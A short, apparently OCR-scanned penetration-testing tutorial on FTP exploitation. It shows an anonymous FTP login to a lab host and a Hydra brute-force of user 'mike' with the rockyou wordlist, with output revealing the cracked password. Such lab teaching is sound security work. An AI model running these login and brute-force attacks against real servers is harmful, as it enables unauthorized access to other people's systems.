FTP Exploitation

@mmar



File Transfer Protocol (FTP)




We can use nmap to scan for the port 21 port and get
information about it. An anonymous login may also be possible

—(kalll )~ [ ~/Desktop |

—$ ftp 10.10.223.220

Connected to 10.10.223.220.

220 Welcome to the administrator FTP service.
Name (10.10.223.220:kali): anonymous

331 Please specify the password.
Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> 1sj




We can use Hydra to brute force the password of an FTP user

hydra -| mike -P /usr/share/wordlists/rockyou.txt —v
10.10.223.20 ftp"

e )- [ ~/Desktop |

L¢ hydra -1 mike -P /usr/share/wordlists/rockyou.txt 10.10.223.220 ftp -v

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-10 10:50:32

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/p:14344399), ~896525 tries per t
ask

[DATA] attacking ftp://10.10.223.220:21/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[21][ftp] host: 10.10.223.220 login: mike password: password

[STATUS] attack finished for 10.10.223.220 (waiting for children to complete tests)

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-10 10:50:47
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